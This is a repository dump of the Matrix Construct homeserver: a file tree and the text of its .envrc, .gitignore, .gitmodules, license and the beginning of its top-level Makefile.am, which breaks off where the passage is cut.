├── .appveyor.yml ├── .envrc ├── .github └── workflows │ ├── docker.yml │ └── docker_prime.yml ├── .gitignore ├── .gitmodules ├── .travis.yml ├── Doxyfile ├── LICENSE ├── Makefile.am ├── NEWS.md ├── README.md ├── autogen.sh ├── configure.ac ├── construct ├── .gitignore ├── Makefile.am ├── README.md ├── console.cc ├── console.h ├── construct.cc ├── construct.h ├── homeserver.cc ├── homeserver.h ├── lgetopt.cc ├── lgetopt.h ├── signals.cc └── signals.h ├── default.nix ├── docker ├── alpine │ ├── base │ │ └── Dockerfile │ ├── built │ │ └── Dockerfile │ ├── full │ │ └── Dockerfile │ └── test │ │ └── Dockerfile ├── build-and-push-images.sh └── ubuntu │ ├── base │ └── Dockerfile │ ├── built │ └── Dockerfile │ ├── full │ └── Dockerfile │ └── test │ └── Dockerfile ├── flake.lock ├── flake.nix ├── include └── ircd │ ├── .gitignore │ ├── Makefile.am │ ├── README.md │ ├── allocator │ ├── allocator.h │ ├── callback.h │ ├── dynamic.h │ ├── fixed.h │ ├── node.h │ ├── profile.h │ ├── scope.h │ ├── state.h │ └── twolevel.h │ ├── asio.h │ ├── assert.h │ ├── b58.h │ ├── b64.h │ ├── backtrace.h │ ├── beep.h │ ├── buffer │ ├── README.md │ ├── buffer.h │ ├── buffer_base.h │ ├── buffers.h │ ├── const_buffer.h │ ├── copy.h │ ├── fixed_buffer.h │ ├── move.h │ ├── mutable_buffer.h │ ├── parse_buffer.h │ ├── shared_buffer.h │ ├── unique_buffer.h │ └── window_buffer.h │ ├── byte_view.h │ ├── cbor.h │ ├── cl │ ├── cl.h │ ├── code.h │ ├── data.h │ ├── exec.h │ ├── init.h │ ├── kern.h │ └── work.h │ ├── client.h │ ├── cmp.h │ ├── color.h │ ├── conf.h │ ├── crh.h │ ├── ctx │ ├── README.md │ ├── async.h │ ├── concurrent.h │ ├── concurrent_for_each.h │ ├── condition_variable.h │ ├── context.h │ ├── continuation.h │ ├── critical_assertion.h │ ├── critical_indicator.h │ ├── ctx.h │ ├── dock.h │ ├── exception_handler.h │ ├── fault.h │ ├── future.h │ ├── latch.h │ ├── list.h │ ├── mutex.h │ ├── ole.h │ ├── pool.h │ ├── posix.h │ ├── prof.h │ ├── promise.h │ ├── queue.h │ ├── scope_notify.h │ ├── shared_mutex.h │ ├── shared_state.h │ ├── sleep.h │ ├── slice_usage_warning.h │ ├── stack.h │ ├── stack_usage_assertion.h │ ├── this_ctx.h │ ├── trit.h │ ├── uninterruptible.h │ ├── unlock_guard.h │ ├── upgrade_lock.h │ ├── view.h │ ├── wait.h │ └── when.h │ ├── db │ ├── README.md │ ├── cache.h │ ├── cell.h │ ├── column.h │ ├── column_iterator.h │ ├── compactor.h │ ├── comparator.h │ ├── database.h │ ├── db.h │ ├── delta.h │ ├── descriptor.h │ ├── domain.h │ ├── error.h │ ├── json.h │ ├── merge.h │ ├── opts.h │ ├── pos.h │ ├── prefetcher.h │ ├── prefix_transform.h │ ├── rocksdb.h │ ├── row.h │ ├── snapshot.h │ ├── sst.h │ ├── stats.h │ ├── txn.h │ └── wal.h │ ├── demangle.h │ ├── ed25519.h │ ├── exception.h │ ├── exec.h │ ├── fmt.h │ ├── fpe.h │ ├── fs │ ├── README.md │ ├── aio.h │ ├── dev.h │ ├── error.h │ ├── fd.h │ ├── fs.h │ ├── iov.h │ ├── map.h │ ├── op.h │ ├── opts.h │ ├── path.h │ ├── read.h │ ├── select.h │ ├── stdin.h │ ├── support.h │ ├── sync.h │ ├── wait.h │ └── write.h │ ├── globular.h │ ├── gpt │ ├── ctrl.h │ ├── epoch.h │ ├── gpt.h │ ├── gpu.h │ ├── model.h │ ├── opts.h │ ├── pipe │ │ ├── code.h │ │ ├── cycle.h │ │ ├── desc.h │ │ ├── model.h │ │ ├── pipe.h │ │ ├── prof.h │ │ └── range.h │ ├── samp.h │ ├── step.h │ ├── task.h │ ├── token.h │ ├── vector.h │ └── vocab.h │ ├── grammar.h │ ├── http.h │ ├── http2 │ ├── error.h │ ├── frame.h │ ├── http2.h │ ├── settings.h │ └── stream.h │ ├── icu.h │ ├── info.h │ ├── ios │ ├── asio.h │ ├── descriptor.h │ ├── dispatch.h │ ├── empt.h │ ├── epoll.h │ ├── handler.h │ └── ios.h │ ├── iov.h │ ├── ircd.h │ ├── js.h │ ├── js │ ├── args.h │ ├── call.h │ ├── compartment.h │ ├── context.h │ ├── ctor.h │ ├── debug.h │ ├── del.h │ ├── error.h │ ├── for_each.h │ ├── function.h │ ├── function_literal.h │ ├── function_native.h │ ├── get.h │ ├── global.h │ ├── has.h │ ├── id.h │ ├── js.h │ ├── json.h │ ├── module.h │ ├── native.h │ ├── object.h │ ├── priv.h │ ├── root.h │ ├── script.h │ ├── set.h │ ├── string.h │ ├── task.h │ ├── timer.h │ ├── tracing.h │ ├── trap.h │ ├── trap_function.h │ ├── trap_property.h │ ├── type.h │ ├── value.h │ ├── vector.h │ └── version.h │ ├── json │ ├── README.md │ ├── array.h │ ├── array_iterator.h │ ├── iov.h │ ├── json.h │ ├── member.h │ ├── object.h │ ├── object_iterator.h │ ├── object_member.h │ ├── stack │ │ ├── array.h │ │ ├── chase.h │ │ ├── checkpoint.h │ │ ├── member.h │ │ ├── object.h │ │ └── stack.h │ ├── string.h │ ├── strung.h │ ├── tool.h │ ├── tuple │ │ ├── _key_transform.h │ │ ├── _member_transform.h │ │ ├── at.h │ │ ├── for_each.h │ │ ├── get.h │ │ ├── indexof.h │ │ ├── key.h │ │ ├── keys.h │ │ ├── property.h │ │ ├── rfor_each.h │ │ ├── set.h │ │ ├── tool.h │ │ └── tuple.h │ ├── type.h │ ├── util.h │ ├── value.h │ ├── vector.h │ └── vector_iterator.h │ ├── leb128.h │ ├── lex_cast.h │ ├── logger.h │ ├── m │ ├── README.md │ ├── acquire.h │ ├── app.h │ ├── breadcrumbs.h │ ├── bridge.h │ ├── burst.h │ ├── createroom.h │ ├── creator.h │ ├── dbs │ │ ├── README.md │ │ ├── dbs.h │ │ ├── event_column.h │ │ ├── event_horizon.h │ │ ├── event_idx.h │ │ ├── event_json.h │ │ ├── event_refs.h │ │ ├── event_sender.h │ │ ├── event_state.h │ │ ├── event_type.h │ │ ├── init.h │ │ ├── opts.h │ │ ├── room_events.h │ │ ├── room_head.h │ │ ├── room_joined.h │ │ ├── room_state.h │ │ ├── room_state_space.h │ │ └── room_type.h │ ├── device.h │ ├── direct_to_device.h │ ├── edu.h │ ├── error.h │ ├── event │ │ ├── append.h │ │ ├── auth.h │ │ ├── cached.h │ │ ├── conforms.h │ │ ├── event.h │ │ ├── event_id.h │ │ ├── fetch.h │ │ ├── horizon.h │ │ ├── index.h │ │ ├── prefetch.h │ │ ├── prev.h │ │ ├── purge.h │ │ └── refs.h │ ├── events.h │ ├── fed │ │ ├── backfill.h │ │ ├── event.h │ │ ├── event_auth.h │ │ ├── event_near.h │ │ ├── fed.h │ │ ├── frontfill.h │ │ ├── groups.h │ │ ├── hierarchy.h │ │ ├── invite.h │ │ ├── invite2.h │ │ ├── key.h │ │ ├── make_join.h │ │ ├── public_rooms.h │ │ ├── query.h │ │ ├── query_auth.h │ │ ├── request.h │ │ ├── rooms.h │ │ ├── send.h │ │ ├── send_join.h │ │ ├── state.h │ │ ├── user.h │ │ ├── user_keys.h │ │ ├── version.h │ │ └── well_known.h │ ├── feds.h │ ├── fetch.h │ ├── filter.h │ ├── get.h │ ├── gossip.h │ ├── groups.h │ ├── homeserver.h │ ├── hook.h │ ├── id.h │ ├── init.h │ ├── invite_3pid.h │ ├── keys.h │ ├── login.h │ ├── m.h │ ├── media.h │ ├── member.h │ ├── membership.h │ ├── name.h │ ├── node.h │ ├── presence.h │ ├── pretty.h │ ├── push.h │ ├── query.h │ ├── receipt.h │ ├── redacted.h │ ├── relates.h │ ├── replaced.h │ ├── request.h │ ├── resource.h │ ├── room │ │ ├── README.md │ │ ├── aliases.h │ │ ├── auth.h │ │ ├── bootstrap.h │ │ ├── events.h │ │ ├── head.h │ │ ├── head_fetch.h │ │ ├── head_generate.h │ │ ├── horizon.h │ │ ├── iterate.h │ │ ├── members.h │ │ ├── message.h │ │ ├── messages.h │ │ ├── missing.h │ │ ├── origins.h │ │ ├── power.h │ │ ├── purge.h │ │ ├── room.h │ │ ├── server_acl.h │ │ ├── sounding.h │ │ ├── state.h │ │ ├── state_fetch.h │ │ ├── state_history.h │ │ ├── state_space.h │ │ ├── stats.h │ │ └── type.h │ ├── rooms.h │ ├── rooms_summary.h │ ├── search.h │ ├── self.h │ ├── sync │ │ ├── args.h │ │ ├── data.h │ │ ├── item.h │ │ ├── since.h │ │ ├── stats.h │ │ └── sync.h │ ├── trace.h │ ├── txn.h │ ├── typing.h │ ├── user │ │ ├── account_data.h │ │ ├── devices.h │ │ ├── events.h │ │ ├── filter.h │ │ ├── ignores.h │ │ ├── keys.h │ │ ├── mitsein.h │ │ ├── notifications.h │ │ ├── profile.h │ │ ├── pushers.h │ │ ├── pushrules.h │ │ ├── reading.h │ │ ├── register.h │ │ ├── room.h │ │ ├── room_account_data.h │ │ ├── room_tags.h │ │ ├── rooms.h │ │ ├── servers.h │ │ ├── tokens.h │ │ └── user.h │ ├── users.h │ ├── visible.h │ └── vm │ │ ├── error.h │ │ ├── eval.h │ │ ├── fault.h │ │ ├── notify.h │ │ ├── opts.h │ │ ├── phase.h │ │ ├── seq.h │ │ └── vm.h │ ├── magic.h │ ├── magick.h │ ├── math │ ├── diff.h │ ├── exp.h │ ├── fmma.h │ ├── inv.h │ ├── log2.h │ ├── math.h │ ├── mean.h │ ├── norm.h │ ├── pow.h │ ├── smax.h │ ├── sqrt.h │ └── tanh.h │ ├── matrix.h │ ├── mods │ ├── README.md │ ├── import.h │ ├── import_shared.h │ ├── ldso.h │ ├── mapi.h │ ├── mods.h │ ├── module.h │ ├── paths.h │ ├── sym_ptr.h │ └── symbols.h │ ├── nacl.h │ ├── net │ ├── README.md │ ├── acceptor.h │ ├── acceptor_udp.h │ ├── addrs.h │ ├── asio.h │ ├── bpf.h │ ├── check.h │ ├── close.h │ ├── dns.h │ ├── dns_cache.h │ ├── dns_resolver.h │ ├── hostport.h │ ├── ipaddr.h │ ├── ipport.h │ ├── listener.h │ ├── listener_udp.h │ ├── net.h │ ├── open.h │ ├── read.h │ ├── scope_timeout.h │ ├── sock_opts.h │ ├── socket.h │ ├── wait.h │ └── write.h │ ├── openssl.h │ ├── panic.h │ ├── parse.h │ ├── pbc.h │ ├── png.h │ ├── portable.h │ ├── prof │ ├── README.md │ ├── arm.h │ ├── cycles.h │ ├── instructions.h │ ├── prof.h │ ├── psi.h │ ├── resource.h │ ├── scope_cycles.h │ ├── syscall_timer.h │ ├── syscall_usage_warning.h │ ├── system.h │ ├── times.h │ ├── type.h │ ├── vg.h │ └── x86.h │ ├── rand.h │ ├── resource │ ├── method.h │ ├── redirect.h │ ├── request.h │ ├── resource.h │ └── response.h │ ├── rest.h │ ├── rfc1035.h │ ├── rfc1459.h │ ├── rfc3986.h │ ├── run.h │ ├── server │ ├── README.md │ ├── link.h │ ├── peer.h │ ├── request.h │ ├── server.h │ └── tag.h │ ├── simd │ ├── accumulate.h │ ├── all.h │ ├── any.h │ ├── broad_cast.h │ ├── cast.h │ ├── for_each.h │ ├── gather.h │ ├── generate.h │ ├── hadd.h │ ├── lane_cast.h │ ├── lane_id.h │ ├── lower.h │ ├── lzcnt.h │ ├── pack.h │ ├── popcnt.h │ ├── print.h │ ├── reduce.h │ ├── rol.h │ ├── ror.h │ ├── scatter.h │ ├── shl.h │ ├── shr.h │ ├── shuf.h │ ├── simd.h │ ├── split.h │ ├── str.h │ ├── strcat.h │ ├── stream.h │ ├── support.h │ ├── tokens.h │ ├── traits.h │ ├── transform.h │ ├── type.h │ ├── tzcnt.h │ ├── unaligned.h │ └── upper.h │ ├── simt │ ├── assert.h │ ├── broadcast.h │ ├── cycles.h │ ├── hadd.h │ ├── hwid.h │ ├── hwid1.h │ ├── hwid2.h │ ├── math.h │ ├── mean.h │ ├── mem.h │ ├── norm.h │ ├── portable.h │ ├── rand.h │ ├── reduce_add.h │ ├── reduce_max.h │ ├── samax.h │ ├── simt.h │ └── sort.h │ ├── spirit.h │ ├── spirit │ ├── boost.h │ ├── custom_parser.h │ ├── expectation_failure.h │ ├── expr.h │ ├── function.h │ ├── generate.h │ ├── karma_rule.h │ ├── parse.h │ ├── qi_char.h │ ├── qi_rule.h │ ├── qi_string.h │ ├── spirit.h │ └── substring_view.h │ ├── stats.h │ ├── stdinc.h │ ├── stduse.h │ ├── string_view.h │ ├── stringops.h │ ├── strl.h │ ├── strn.h │ ├── sys.h │ ├── terminate.h │ ├── time.h │ ├── tokens.h │ ├── utf16.h │ ├── utf8.h │ ├── util │ ├── README.md │ ├── align.h │ ├── all.h │ ├── bitset.h │ ├── blackwhite.h │ ├── bswap.h │ ├── callbacks.h │ ├── closure.h │ ├── compare_exchange.h │ ├── construction.h │ ├── custom_ptr.h │ ├── enum.h │ ├── env.h │ ├── hash.h │ ├── identity.h │ ├── instance_list.h │ ├── instance_map.h │ ├── instance_multimap.h │ ├── iterator.h │ ├── life_guard.h │ ├── mask.h │ ├── maybe.h │ ├── nothrow.h │ ├── params.h │ ├── pointers.h │ ├── popcount.h │ ├── pretty.h │ ├── pubsetbuf.h │ ├── reentrance.h │ ├── returns.h │ ├── scope_count.h │ ├── scope_restore.h │ ├── string.h │ ├── test.h │ ├── timer.h │ ├── tuple.h │ ├── typography.h │ ├── u2a.h │ ├── unique_iterator.h │ ├── unit_literal.h │ ├── unwind.h │ ├── util.h │ ├── va_rtti.h │ └── what.h │ ├── vector_view.h │ ├── versions.h │ └── vg.h ├── ircd ├── Makefile.am ├── README.md ├── allocator.cc ├── allocator_gnu.cc ├── allocator_je.cc ├── assert.cc ├── b58.cc ├── b64.cc ├── backtrace.cc ├── beep.cc ├── cbor.cc ├── cl.cc ├── client.cc ├── conf.cc ├── crh.cc ├── ctx.cc ├── ctx.h ├── ctx_eh.cc ├── ctx_ole.cc ├── ctx_posix.cc ├── ctx_posix.h ├── ctx_x86_64.S ├── db.cc ├── db.h ├── db_allocator.cc ├── db_database.cc ├── db_env.cc ├── db_env.h ├── db_env_state.h ├── db_fixes.cc ├── db_has.h ├── db_port.cc ├── db_port.h ├── default.proftext ├── demangle.cc ├── exception.cc ├── exec.cc ├── fmt.cc ├── fpe.cc ├── fs.cc ├── fs_aio.cc ├── fs_aio.h ├── fs_dev.cc ├── fs_path.cc ├── globular.cc ├── gpt.cc ├── gpt_cpu.cc ├── gpt_gpu.cl ├── gpt_model.cc ├── gpt_pipe.cc ├── gpt_pipe_code.cc ├── gpt_vocab.cc ├── http.cc ├── http2.cc ├── icu.cc ├── info.cc ├── ios.cc ├── ircd.cc ├── js.cc ├── json.cc ├── lex_cast.cc ├── logger.cc ├── magic.cc ├── magick.cc ├── mods.cc ├── mods.h ├── mods_ldso.cc ├── net.cc ├── net_addrs.cc ├── net_bpf.cc ├── net_dns.cc ├── net_dns_cache.cc ├── net_dns_netdb.cc ├── net_dns_resolver.cc ├── net_listener.cc ├── net_listener_udp.cc ├── openssl.cc ├── parse.cc ├── pbc.cc ├── png.cc ├── prof.cc ├── prof_linux.cc ├── prof_psi.cc ├── rand.cc ├── resource.cc ├── rest.cc ├── rfc1035.cc ├── rfc1459.cc ├── rfc3986.cc ├── run.cc ├── server.cc ├── simd.cc ├── sodium.cc ├── stats.cc ├── stringops.cc ├── sys.cc ├── timedate.cc ├── tokens.cc ├── utf.cc ├── util.cc ├── versions.cc └── vg.cc ├── matrix ├── Makefile.am ├── acquire.cc ├── app.cc ├── breadcrumbs.cc ├── bridge.cc ├── burst.cc ├── dbs.cc ├── dbs_desc.cc ├── dbs_event_column.cc ├── dbs_event_horizon.cc ├── dbs_event_idx.cc ├── dbs_event_json.cc ├── dbs_event_refs.cc ├── dbs_event_sender.cc ├── dbs_event_state.cc ├── dbs_event_type.cc ├── dbs_init.cc ├── dbs_room_events.cc ├── dbs_room_head.cc ├── dbs_room_joined.cc ├── dbs_room_state.cc ├── dbs_room_state_space.cc ├── dbs_room_type.cc ├── default.proftext ├── display_name.cc ├── error.cc ├── event.cc ├── event_append.cc ├── event_auth.cc ├── event_cached.cc ├── event_conforms.cc ├── event_fetch.cc ├── event_get.cc ├── event_horizon.cc ├── event_id.cc ├── event_index.cc ├── event_prefetch.cc ├── event_prev.cc ├── event_purge.cc ├── event_refs.cc ├── events.cc ├── fed.cc ├── fed_well_known.cc ├── feds.cc ├── fetch.cc ├── fetch_check.cc ├── filter.cc ├── gossip.cc ├── groups.cc ├── homeserver.cc ├── homeserver_bootstrap.cc ├── hook.cc ├── id.cc ├── init_backfill.cc ├── keys.cc ├── matrix.cc ├── media.cc ├── membership.cc ├── name.cc ├── node.cc ├── presence.cc ├── pretty.cc ├── push.cc ├── receipt.cc ├── relates.cc ├── request.cc ├── resource.cc ├── room.cc ├── room_aliases.cc ├── room_auth.cc ├── room_bootstrap.cc ├── room_create.cc ├── room_events.cc ├── room_head.cc ├── room_head_fetch.cc ├── room_horizon.cc ├── room_iterate.cc ├── room_join.cc ├── room_leave.cc ├── room_members.cc ├── room_message.cc ├── room_messages.cc ├── room_missing.cc ├── room_origins.cc ├── room_power.cc ├── room_purge.cc ├── room_server_acl.cc ├── room_sounding.cc ├── room_state.cc ├── room_state_fetch.cc ├── room_state_history.cc ├── room_state_space.cc ├── room_stats.cc ├── room_type.cc ├── room_visible.cc ├── rooms.cc ├── rooms_summary.cc ├── sync.cc ├── trace.cc ├── txn.cc ├── typing.cc ├── user.cc ├── user_account_data.cc ├── user_devices.cc ├── user_events.cc ├── user_filter.cc ├── user_ignores.cc ├── user_keys.cc ├── user_mitsein.cc ├── user_notifications.cc ├── user_profile.cc ├── user_pushers.cc ├── user_pushrules.cc ├── user_register.cc ├── user_room_account_data.cc ├── user_room_tags.cc ├── user_rooms.cc ├── user_tokens.cc ├── users.cc ├── users_servers.cc ├── vm.cc ├── vm_conforms.cc ├── vm_eval.cc ├── vm_execute.cc ├── vm_fetch.cc ├── vm_inject.cc ├── vm_notify.cc └── vm_seq.cc ├── modules ├── Makefile.am ├── README.md ├── admin │ ├── deactivate.cc │ ├── federation.cc │ ├── rooms.cc │ ├── server_version.cc │ └── users.cc ├── client │ ├── account │ │ ├── 3pid.cc │ │ ├── account.cc │ │ ├── account.h │ │ ├── deactivate.cc │ │ ├── password.cc │ │ └── whoami.cc │ ├── capabilities.cc │ ├── create_group.cc │ ├── createroom.cc │ ├── dehydrated_device.cc │ ├── delete_devices.cc │ ├── devices.cc │ ├── directory │ │ ├── list │ │ │ ├── appservice.cc │ │ │ └── room.cc │ │ ├── room.cc │ │ └── user.cc │ ├── events.cc │ ├── groups │ │ ├── categories.cc │ │ ├── groups.cc │ │ ├── groups.h │ │ ├── invited_users.cc │ │ ├── profile.cc │ │ ├── roles.cc │ │ ├── rooms.cc │ │ ├── self.cc │ │ ├── settings.cc │ │ ├── summary.cc │ │ └── users.cc │ ├── initialsync.cc │ ├── join.cc │ ├── joined_groups.cc │ ├── keys │ │ ├── changes.cc │ │ ├── claim.cc │ │ ├── device_signing │ │ │ └── upload.cc │ │ ├── query.cc │ │ ├── signatures │ │ │ └── upload.cc │ │ └── upload.cc │ ├── login.cc │ ├── logout.cc │ ├── notifications.cc │ ├── presence.cc │ ├── profile.cc │ ├── publicised_groups.cc │ ├── publicrooms.cc │ ├── pushers.cc │ ├── pushrules.cc │ ├── register.cc │ ├── register_available.cc │ ├── register_email.cc │ ├── room_keys │ │ ├── keys.cc │ │ ├── room_keys.cc │ │ ├── room_keys.h │ │ └── version.cc │ ├── rooms │ │ ├── aliases.cc │ │ ├── ban.cc │ │ ├── context.cc │ │ ├── event.cc │ │ ├── forget.cc │ │ ├── hierarchy.cc │ │ ├── initialsync.cc │ │ ├── invite.cc │ │ ├── join.cc │ │ ├── kick.cc │ │ ├── leave.cc │ │ ├── members.cc │ │ ├── messages.cc │ │ ├── read_markers.cc │ │ ├── receipt.cc │ │ ├── redact.cc │ │ ├── relations.cc │ │ ├── report.cc │ │ ├── rooms.cc │ │ ├── rooms.h │ │ ├── send.cc │ │ ├── state.cc │ │ ├── threads.cc │ │ ├── timestamp_to_event.cc │ │ ├── typing.cc │ │ ├── unban.cc │ │ └── upgrade.cc │ ├── search.cc │ ├── send_to_device.cc │ ├── sync.cc │ ├── sync │ │ ├── README.md │ │ ├── account_data.cc │ │ ├── device_lists.cc │ │ ├── device_one_time_keys_count.cc │ │ ├── device_unused_fallback_key_types.cc │ │ ├── groups.cc │ │ ├── presence.cc │ │ ├── rooms.cc │ │ ├── rooms │ │ │ ├── account_data.cc │ │ │ ├── ephemeral.cc │ │ │ ├── ephemeral │ │ │ │ ├── receipt.cc │ │ │ │ └── typing.cc │ │ │ ├── state.cc │ │ │ ├── summary.cc │ │ │ ├── timeline.cc │ │ │ └── unread_notifications.cc │ │ └── to_device.cc │ ├── thirdparty │ │ └── protocols.cc │ ├── user │ │ ├── account_data.cc │ │ ├── filter.cc │ │ ├── openid.cc │ │ ├── rooms.cc │ │ ├── user.cc │ │ └── user.h │ ├── versions.cc │ └── voip │ │ └── turnserver.cc ├── console.cc ├── federation │ ├── backfill.cc │ ├── event.cc │ ├── event_auth.cc │ ├── get_groups_publicised.cc │ ├── get_missing_events.cc │ ├── hierarchy.cc │ ├── invite.cc │ ├── make_join.cc │ ├── make_leave.cc │ ├── publicrooms.cc │ ├── query.cc │ ├── query_auth.cc │ ├── rooms.cc │ ├── send.cc │ ├── send_join.cc │ ├── send_leave.cc │ ├── sender.cc │ ├── state.cc │ ├── timestamp_to_event.cc │ ├── user_devices.cc │ ├── user_keys_claim.cc │ ├── user_keys_query.cc │ └── version.cc ├── identity │ ├── pubkey.cc │ └── v1.cc ├── js │ ├── console.cc │ ├── kernel.cc │ └── listener.cc ├── key │ ├── README.md │ ├── query.cc │ └── server.cc ├── llvm.cc ├── m_breadcrumbs.cc ├── m_bridge.cc ├── m_bridge_register.cc ├── m_command.cc ├── m_control.cc ├── m_device.cc ├── m_device_list_update.cc ├── m_direct.cc ├── m_direct_to_device.cc ├── m_ignored_user_list.cc ├── m_listen.cc ├── m_noop.cc ├── m_presence.cc ├── m_profile.cc ├── m_push.cc ├── m_pusher.cc ├── m_receipt.cc ├── m_relation.cc ├── m_room_aliases.cc ├── m_room_canonical_alias.cc ├── m_room_create.cc ├── m_room_history_visibility.cc ├── m_room_join_rules.cc ├── m_room_member.cc ├── m_room_message.cc ├── m_room_name.cc ├── m_room_power_levels.cc ├── m_room_redaction.cc ├── m_room_server_acl.cc ├── m_room_third_party_invite.cc ├── m_room_tombstone.cc ├── m_signing_key_update.cc ├── media │ ├── config.cc │ ├── download.cc │ ├── media.cc │ ├── media.h │ ├── preview_url.cc │ ├── thumbnail.cc │ └── upload.cc ├── net_dns_cache.cc ├── stats.cc ├── web_hook.cc ├── web_root.cc ├── well_known.cc └── widget │ ├── account.cc │ ├── register.cc │ ├── ui.cc │ └── widget.cc ├── nix ├── module │ └── default.nix └── package │ ├── config.nix │ └── default.nix ├── share ├── Makefile.am └── webapp │ ├── FontAwesome.otf │ ├── NixieOne-Regular.ttf │ ├── OFL.txt │ ├── README.md │ ├── VERSION │ ├── angular-animate.min.js │ ├── angular.js │ ├── angular.min.js │ ├── construct.css │ ├── construct.js │ ├── favicon.ico │ ├── flat-ui.min.css │ ├── font-awesome.min.css │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.svg │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ ├── fontawesome-webfont.woff2 │ ├── index.html │ ├── jquery-ui.min.js │ ├── jquery.min.js │ ├── js │ ├── auth.js │ ├── console.js │ ├── datetime.js │ ├── debug.js │ ├── error.js │ ├── event.js │ ├── explore.js │ ├── filter.js │ ├── io.js │ ├── io.request.js │ ├── ircd.js │ ├── m.js │ ├── main.js │ ├── mc.js │ ├── menu.js │ ├── my.js │ ├── ng.js │ ├── random.js │ ├── room.js │ ├── room │ │ ├── account.js │ │ ├── attach.js │ │ ├── controller.js │ │ ├── dom.js │ │ ├── events.js │ │ ├── focus.js │ │ ├── input.history.js │ │ ├── input.js │ │ ├── members.js │ │ ├── misc.js │ │ ├── notifications.js │ │ ├── power.js │ │ ├── receipt.js │ │ ├── scroll.js │ │ ├── send.js │ │ ├── state.js │ │ ├── sync.js │ │ ├── timeline.js │ │ └── typing.js │ ├── rooms.js │ ├── scroll.js │ ├── settings.js │ ├── storage.js │ ├── sync.js │ ├── task.js │ ├── ui.js │ ├── user.js │ ├── users.js │ ├── util.js │ └── watch.js │ ├── lato-black.eot │ ├── lato-black.svg │ ├── lato-black.ttf │ ├── lato-black.woff │ ├── lato-bold.eot │ ├── lato-bold.svg │ ├── lato-bold.ttf │ ├── lato-bold.woff │ ├── lato-bolditalic.eot │ ├── lato-bolditalic.svg │ ├── lato-bolditalic.ttf │ ├── lato-bolditalic.woff │ ├── lato-italic.eot │ ├── lato-italic.svg │ ├── lato-italic.ttf │ ├── lato-italic.woff │ ├── lato-light.eot │ ├── lato-light.svg │ ├── lato-light.ttf │ ├── lato-light.woff │ ├── lato-regular.eot │ ├── lato-regular.svg │ ├── lato-regular.ttf │ └── lato-regular.woff ├── shell.nix └── tools ├── appveyor-build.sh ├── boostrap.sh ├── buildjs.sh ├── buildpbc.sh ├── buildrocks.sh ├── m4 ├── ax_boost_asio.m4 ├── ax_boost_base.m4 ├── ax_boost_chrono.m4 ├── ax_boost_context.m4 ├── ax_boost_coroutine.m4 ├── ax_boost_filesystem.m4 ├── ax_boost_system.m4 ├── ax_check_compile_flag.m4 ├── ax_cxx_compile_stdcxx.m4 ├── ax_cxx_version.m4 ├── charybdis.m4 ├── pkg.m4 └── ratbox.m4 └── synapse.db.py /.envrc: -------------------------------------------------------------------------------- 1 | if type lorri &>/dev/null; then 2 | echo "direnv: using lorri from PATH ($(type -p lorri))" 3 | eval "$(lorri direnv)" 4 | else 5 | # fall back to using direnv's builtin nix support 6 | # to prevent bootstrapping problems. 7 | use nix 8 | fi 9 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | tags 2 | Makefile 3 | *~ 4 | *.o 5 | *.s 6 | *.i 7 | *.ii 8 | *.so 9 | *.lo 10 | *.la 11 | *.bc 12 | *.bc.cc 13 | *.spv.cc 14 | *.ll 15 | *.spv 16 | *.orig 17 | *.log 18 | *.sw? 19 | *.gch 20 | *.cache 21 | *.tmp 22 | *.save 23 | *.profdata 24 | .deps 25 | .dirstamp 26 | .libs 27 | autom4te.cache 28 | aclocal.m4 29 | compile 30 | confdefs.h 31 | config.guess 32 | config.sub 33 | depcomp 34 | ltmain.sh 35 | missing 36 | config.log 37 | config.status 38 | configure 39 | stamp-h1 40 | scripts/*.tar.bz2 41 | scripts/*.tar.gz 42 | /libtool 43 | Makefile.in 44 | tools/m4/argz.m4 45 | tools/m4/libtool.m4 46 | tools/m4/ltargz.m4 47 | tools/m4/ltdl.m4 48 | tools/m4/ltoptions.m4 49 | tools/m4/ltsugar.m4 50 | tools/m4/ltversion.m4 51 | tools/m4/lt~obsolete.m4 52 | *.dSYM/ 53 | install-sh 54 | ylwrap 55 | build 56 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "boost"] 2 | path = deps/boost 3 | url = https://github.com/boostorg/boost.git 4 | [submodule "rocksdb"] 5 | path = deps/rocksdb 6 | url = https://github.com/facebook/rocksdb.git 7 | [submodule "gecko-dev"] 8 | path = deps/gecko-dev 9 | url = https://github.com/mozilla/gecko-dev.git 10 | branch = esr45 11 | [submodule "deps/pbc"] 12 | path = deps/pbc 13 | url = https://github.com/blynn/pbc.git 14 | [submodule "doc"] 15 | path = doc 16 | url = https://github.com/matrix-construct/construct.wiki.git 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (C) 2016-2018 Matrix Construct Developers, Authors & Contributors 2 | 3 | Permission to use, copy, modify, and/or distribute this software for any 4 | purpose with or without fee is hereby granted, provided that the above 5 | copyright notice and this permission notice is present in all copies. 6 | 7 | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 8 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 9 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 10 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 11 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 12 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 13 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 14 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 15 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 16 | IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 17 | POSSIBILITY OF SUCH DAMAGE. 18 | -------------------------------------------------------------------------------- /Makefile.am: -------------------------------------------------------------------------------- 1 | AUTOMAKE_OPTIONS = foreign 2 | ACLOCAL_AMFLAGS = -I tools/m4 3 | 4 | SUBDIRS =# 5 | SUBDIRS += include/ircd 6 | SUBDIRS += ircd 7 | SUBDIRS += matrix 8 | SUBDIRS += modules 9 | SUBDIRS += share 10 | SUBDIRS += construct 11 | 12 | .PHONY: subdirs $(SUBDIRS) 13 | $(SUBDIRS): 14 | $(MAKE) 